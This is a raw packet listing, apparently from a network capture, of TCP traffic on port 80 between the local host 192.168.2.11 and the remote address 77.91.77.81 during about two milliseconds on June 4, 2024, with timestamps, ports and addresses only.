Jun 4, 2024 23:09:16.079215050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079215050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079226971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079243898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079252958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079252958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079257011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079268932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079282045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079293966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079304934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079317093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079318047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079318047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079329014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079343081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079355955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079356909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079356909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079368114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079380989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079392910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079397917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079407930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079407930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079407930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079418898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079431057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079446077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079452038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079452038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079459906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079472065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079484940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079492092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079492092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079499006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079510927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079528093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079530954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079530954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079538107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079543114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079547882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079555035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079560995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079566002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079571009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079576015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079581022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079591036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079596043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079603910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079618931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079632044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079643011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079655886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079663038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079663038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079669952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079682112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079718113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079718113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079718113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079727888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079746008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079757929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079770088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079781055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079788923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079788923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079794884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079808950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079819918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079832077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079838037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079838037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079844952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079857111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079869986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079886913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079890966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079890966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079899073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079910040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079925060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079936981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079938889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079938889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079948902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079960108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079973936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079976082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079976082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079984903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079997063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080008030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080018997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080025911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080025911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080039024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080053091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080064058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080075979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080084085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080085039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080085039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080090046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080101967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080115080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080121994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080121994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080126047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080137968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080149889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080161095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080161095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080163002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080176115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080199957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080210924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080218077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080218077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080221891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080234051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080245018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080256939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080265999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080265999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080270052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080284119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080295086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080307961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080307961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080307961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080321074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080338955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080351114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080363035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080363989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080363989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080375910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080387115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080398083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080398083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080398083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080409050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080421925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080434084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080446959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080451965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080451965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080459118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080471039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080490112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080501080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080501080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080502033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080523014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080533981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080543041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080543041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080545902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080558062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080569029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080580950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080591917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080604076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080606937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080607891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080615997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080629110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080641031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080641031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080641985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080655098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080673933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080677986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080684900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080698013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080710888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080723047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080724955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080724955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080734968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080745935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080759048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080766916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080766916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080773115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080785036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080796957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080811977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080811977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080811977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080832005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080843925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080859900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080862999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080863953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080873013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080883980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080898046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080909014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080923080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080929041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080929041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080935955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080946922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080956936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080956936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.080960035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080976009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.080987930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081000090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081017017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081017017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081020117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081031084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081042051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081052065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081053019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081053019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081063986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081075907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081089020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081100941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081114054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081119061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081119061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081126928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081137896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081149101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081151009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081151009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081171989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081188917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081202030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081202030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081202030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081212997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081223965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081235886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081247091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081258059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081262112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081262112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081269979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081280947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081291914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081300020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081300020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081304073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081315041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081321001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081329107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081335068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081340075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081352949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081365108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081373930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081373930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081377983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081388950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081399918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081410885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081412077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081412077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081424952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081435919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081448078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081459999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081465960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081465960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081474066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081485033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081496954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081511974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081511974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081520081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081538916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081549883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081557989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081557989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081561089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081573009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081584930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081597090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081609964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081620932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081620932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081620932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081633091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081648111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081654072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081654072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081664085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081684113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081696033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081696033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081705093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081717014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081727982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081739902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081751108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081754923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081754923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081763029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081775904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081788063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081799984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081800938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081800938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081811905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081824064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081836939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081851959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081852913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081852913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081871033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081883907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081895113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081896067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081896067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081907988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081918955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081931114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081943035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081954956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081954956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081958055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081969023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081980944 CEST	80	49713	77.91.77.81	192.168.2.11
